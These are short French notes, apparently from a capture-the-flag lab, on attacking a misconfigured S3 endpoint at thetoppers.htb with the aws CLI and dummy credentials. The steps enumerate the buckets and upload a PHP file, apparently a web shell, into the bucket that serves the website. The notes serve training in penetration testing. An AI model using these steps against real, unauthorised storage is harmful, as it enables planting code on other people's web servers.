S3
Port HTTP
Outil : aws
# configuration nécessaire même s'il n'y a pas d'api
$ aws configure
AWS Access Key ID [None]: temp
AWS Secret Access Key [None]: temp
Default region name [None]: temp
Default output format [None]: temp
# enumeration (ls)
$ aws --endpoint=http://s3.thetoppers.htb s3 ls
2023-04-16 16:59:26 thetoppers.htb
# enumeration d'un sous dossier (ls)
$ aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
PRE images/
2023-04-16 16:59:26 0 .htaccess
2023-04-16 16:59:26 11952 index.php
# upload d'un fichier
$ aws --endpoint=http://s3.thetoppers.htb s3 cp s.php s3://thetoppers.htb
upload: ./s.php to s3://thetoppers.htb/s.php
# commandes valides :
ls | website
cp | mv
rm | sync
mb | rb